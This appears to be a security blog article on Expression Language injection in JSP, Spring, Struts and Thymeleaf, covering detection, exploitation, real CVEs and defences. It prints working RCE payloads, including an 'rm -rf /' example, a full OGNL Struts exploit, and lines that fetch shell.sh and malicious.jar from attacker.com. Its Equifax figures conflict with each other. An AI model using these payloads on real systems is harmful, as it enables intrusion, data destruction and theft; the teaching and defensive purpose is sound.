Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀
Introduction: The Silent Assassin of Web Applications
Imagine a seemingly innocent input field that asks for your name. You type John, submit the form, and see “Welcome, John!” displayed on your screen. Simple enough, right? But what if someone enters ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} instead? In the wrong hands, that innocent input field just became a weapon capable of complete system compromise.
Expression Language (EL) Injection is one of the most devastating yet underestimated vulnerabilities in modern web applications. This attack vector allows adversaries to execute arbitrary code on servers by exploiting how template engines evaluate dynamic expressions. Unlike traditional injection attacks that require complex payload construction, EL injection often needs just a few characters wrapped in ${} or #{} delimiters to achieve Remote Code Execution (RCE).
What is Expression Language Injection?
Expression Language Injection occurs when user-controlled input is evaluated as an expression by server-side template engines without proper validation or sanitization. When an expression language application is vulnerable to expression language injection, an attacker sends crafted code to the application as input, either in the query string or in a form object, and the code is compiled at runtime.
Understanding Expression Languages
Expression Languages were designed to simplify application development by providing an easy way to access and manipulate data in web applications. They allow developers to:
- Access JavaBeans components and their properties
- Invoke public methods and static functions
- Perform arithmetic and logical operations
- Retrieve data from various scopes (request, session, application)
Common frameworks utilizing EL include:
- JavaServer Pages (JSP) - Uses
${}and#{} - Spring Framework - Spring Expression Language (SpEL)
- Thymeleaf - Natural templating engine
- Apache Struts - Object-Graph Navigation Language (OGNL)
- Java Unified Expression Language - Standard for Java EE
The Anatomy of an EL Expression
Standard EL expressions follow predictable patterns:
${variable} # Access a variable
${object.property} # Access object properties
${object.method()} # Invoke methods
${"string".length()} # String operations
${1 + 1} # Arithmetic operations
The danger emerges when these expressions process untrusted user input without validation.
The Technical Foundation: How EL Injection Works
The Vulnerability Chain
EL injection exploits a fundamental flaw in how applications handle dynamic content:
- User Input Reception: Application receives data through forms, URL parameters, headers, or cookies
- Template Processing: Input is incorporated into an EL expression
- Expression Evaluation: The EL interpreter evaluates the complete expression
- Code Execution: Malicious code within the expression executes on the server
Consider this vulnerable JSP code:
<jsp:useBean id="data" class="com.example.DataBean" scope="request"/>
<jsp:setProperty name="data" property="userInput" value="${param.input}"/>
<p>Welcome, ${data.userInput}!</p>
If a user submits input=${7*7}, the application evaluates the expression and returns 49 instead of the literal string ${7*7}. This confirmation of expression evaluation indicates vulnerability.
Detection Techniques
To confirm it’s an EL injection, payloads like ${"dfd".replace("d","x")} can be used, with an expected output of ‘xfx’ where the supplied string ‘dfd’ is converted into ‘xfx’ by replacing ’d’ with ‘x’.
Common Detection Payloads:
${7*7} # Expected: 49
${{7*7}} # Expected: [49]
${"test".length()} # Expected: 4
${"a".concat("b")} # Expected: ab
${T(java.lang.Runtime)} # Spring: Class reference
Black-box testers should inject these payloads into various injection points:
- URL parameters
- Form fields
- HTTP headers
- Cookie values
- File upload metadata
- JSON/XML data fields
Attack Vectors: From Information Disclosure to RCE
Phase 1: Information Gathering
Attackers typically begin by extracting sensitive information:
${applicationScope} # Application variables
${sessionScope} # Session data
${pageContext.request.getHeader("Cookie")} # Headers
${pageContext.servletContext.serverInfo} # Server information
Phase 2: Escalating to Remote Code Execution
Getting complete exploitation of EL Injection and achieving fully functional RCE requires invoking the runtime.exec() Class to execute system commands.
Method 1: Direct Runtime Invocation
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime')
.invoke(null)
.exec('whoami')}
Method 2: ProcessBuilder Exploitation
${request.setAttribute("c","".getClass()
.forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
.getConstructor(java.util.List.class)
.newInstance(request.getAttribute("c")).start()}
Method 3: ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output",
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("var x=new java.lang.ProcessBuilder;
x.command(\"wget\",\"http://attacker.com/shell.sh\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}
Method 4: URLClassLoader for Remote Code
${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
.getConstructor(java.net.URL[].class)
.newInstance(new java.net.URL[]
{new java.net.URL("http://attacker.com/malicious.jar")})}
Framework-Specific Vulnerabilities
JSP Expression Language
JavaServer Pages are particularly susceptible when using the <jsp:setProperty> tag or Expression Language directly in templates:
<!-- Vulnerable Pattern -->
<c:out value="${param.userInput}" />
<!-- Attack Example -->
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}
Spring Framework and SpEL
In versions of Spring 3.0.5 and earlier, EL tags could be evaluated twice, exposing the application to EL injection (CVE-2011-2730).
Spring Expression Language provides powerful features that become dangerous with untrusted input:
// Vulnerable Spring Controller
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(name); // VULNERABLE
model.addAttribute("greeting", exp.getValue());
return "welcome";
}
// Attack: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')
Apache Struts and OGNL
The Equifax breach, which affected 159 million people’s data, was caused by Object-Graph Navigation Language (OGNL) EL injection, with Equifax agreeing to pay up to $425 million to help consumers recover.
OGNL injection in Struts allows similar exploitation:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Thymeleaf Template Engine
Thymeleaf uses expressions in attributes and can be exploited when templates process user input:
<!-- Vulnerable Template -->
<div th:text="${userInput}"></div>
<!-- Attack -->
${T(java.lang.Runtime).getRuntime().exec('calc')}
Real-World Case Studies
CVE-2024-51466: IBM Cognos Analytics
A researcher discovered an endpoint in IBM Cognos application which accepts user input and passes it into EL expression causing RCE, chained with another vulnerability to bypass authentication, technically resulting in an unauthenticated RCE.
The vulnerability was exploited using the payload:
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null).exec('command')}
The response returned java.lang.ProcessImpl@b639b23d, confirming process creation and successful code execution.
CVE-2024-12798: Logback Core Vulnerability
An ACE vulnerability in QOS.CH logback-core up to and including version 1.5.12 allows attackers to execute arbitrary code using the JaninoEventEvaluator extension by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.
The Equifax Breach (2017)
The most notorious EL injection attack exploited Apache Struts CVE-2017-5638, an OGNL injection vulnerability. Attackers gained access to:
- Personal information of 147 million Americans
- 15.2 million British citizens’ records
- 19,000 Canadian citizens’ data
The attack vector was surprisingly simple - a malicious Content-Type header containing OGNL expressions that executed commands on the server.
Defense Strategies: Building Resilient Applications
Input Validation and Sanitization
Avoid putting user data into an expression interpreter if possible. Otherwise, validate and/or encode the data to ensure it is not evaluated as expression language.
Implement Strict Validation:
public boolean isValidInput(String input) {
// Reject EL delimiters
Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
Matcher matcher = pattern.matcher(input);
if (matcher.matches()) {
throw new SecurityException("Detected potential EL injection");
}
// Whitelist approach - only allow alphanumeric
return input.matches("[a-zA-Z0-9]+");
}
Disable Expression Evaluation
For Spring Framework:
In the case of Spring Framework, disable the double resolution functionality in versions 3.0.6 and above by placing configuration in the application web.xml:
<context-param>
<description>Spring Expression Language Support</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
Content Security Policies
Implement robust output encoding:
public String escapeEL(String input) {
return input
.replace("$", "\\$")
.replace("{", "\\{")
.replace("}", "\\}")
.replace("#", "\\#");
}
Framework-Specific Protections
JSP:
- Use JSTL tags with escapeXml="true"
- Avoid direct EL evaluation in custom tags
- Implement Content Security Policy headers
Spring:
- Keep Spring Framework updated (critical patches in 5.2.20+ and 5.3.18+)
- Use @PreAuthorize for method-level security
- Avoid parsing user input as SpEL expressions
Thymeleaf:
- Use preprocessed expressions __${...}__ cautiously
- Enable strict mode in configuration
- Validate all user inputs before template processing
Runtime Application Self-Protection (RASP)
Modern RASP solutions can detect and block EL injection attempts by:
- Monitoring expression evaluation patterns
- Analyzing runtime behavior for anomalies
- Blocking dangerous method invocations (Runtime.exec, ProcessBuilder)
- Implementing virtual patching for zero-day vulnerabilities
Security Testing
White-box Testing: - Code review focusing on EL usage - Static Application Security Testing (SAST) tools - Dependency vulnerability scanning
Black-box Testing: - Fuzzing with EL payloads - Dynamic Application Security Testing (DAST) - Penetration testing with custom payloads
Detection and Monitoring
Log Analysis
Monitor for suspicious patterns:
${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader
Web Application Firewalls (WAF)
Configure WAF rules to detect:
# ModSecurity Example
SecRule ARGS "@rx \$\{.*\}" \
"id:100001,\
phase:2,\
deny,\
log,\
msg:'Potential EL Injection Attack'"
Runtime Detection
Implement runtime hooks to monitor:
- Reflection API calls from user contexts
- Process creation attempts
- Class loading from untrusted sources
- Network connections from template evaluation
The Future of EL Injection
Emerging Threats
As frameworks evolve, new attack vectors emerge:
- Polyglot Payloads: Combining multiple injection types
- Encoded Attacks: Base64, Unicode, and hex-encoded payloads
- Time-based Blind Exploitation: Detecting vulnerabilities through timing attacks
- Chain Exploitation: Combining EL injection with other vulnerabilities
Security Best Practices
- Principle of Least Privilege: Run applications with minimal permissions
- Defense in Depth: Implement multiple security layers
- Regular Updates: Keep frameworks and dependencies current
- Security Training: Educate developers about injection risks
- Secure Coding Standards: Establish and enforce coding guidelines
Statistics and Impact
The average app/API received 4,110 probes in October 2024, with viable EL injection attacks averaging about 2.5 probes and 1.4 viable attacks per month.
While these numbers might seem low, the severity is extreme. Each successful EL injection can result in:
- Complete server compromise
- Data breach affecting millions
- Financial losses in the hundreds of millions
- Regulatory penalties and legal consequences
- Irreparable reputation damage
Conclusion: Vigilance is Mandatory
Expression Language Injection represents one of the most critical vulnerabilities in modern web applications. The innocuous appearance of ${} delimiters masks their potential for catastrophic damage. From the Equifax breach to recent CVEs like IBM Cognos, EL injection continues to haunt organizations worldwide.
The good news? EL injection is entirely preventable through:
- Rigorous input validation
- Proper output encoding
- Framework security configurations
- Regular security testing
- Developer education
Remember: every input field is a potential attack vector. Every template expression processing user data is a risk. Every application using expression languages requires careful security consideration.
The nightmare scenario isn’t that EL injection exists—it’s that developers continue to overlook it. Don’t let ${} become your worst nightmare. Treat user input as hostile, validate ruthlessly, and build security into every layer of your application.
Key Takeaways
- Never trust user input - All external data is potentially malicious
- Avoid evaluating user input as expressions - Use static templates whenever possible
- Implement defense in depth - Layer multiple security controls
- Stay updated - Apply security patches promptly
- Test continuously - Regular security assessments are essential
- Monitor actively - Detect attacks before they cause damage
- Educate teams - Security is everyone’s responsibility
Expression Language Injection isn’t just a technical vulnerability—it’s a critical security crisis waiting to happen. The question isn’t if your application will be tested by attackers, but when. Make sure you’re ready.
About the Author: This article covers Expression Language Injection vulnerabilities based on current security research and recent CVE disclosures through 2025. For the latest security updates, always consult official framework documentation and security advisories.
References: OWASP, CVE databases, security research papers, and vulnerability disclosure reports from 2024-2025.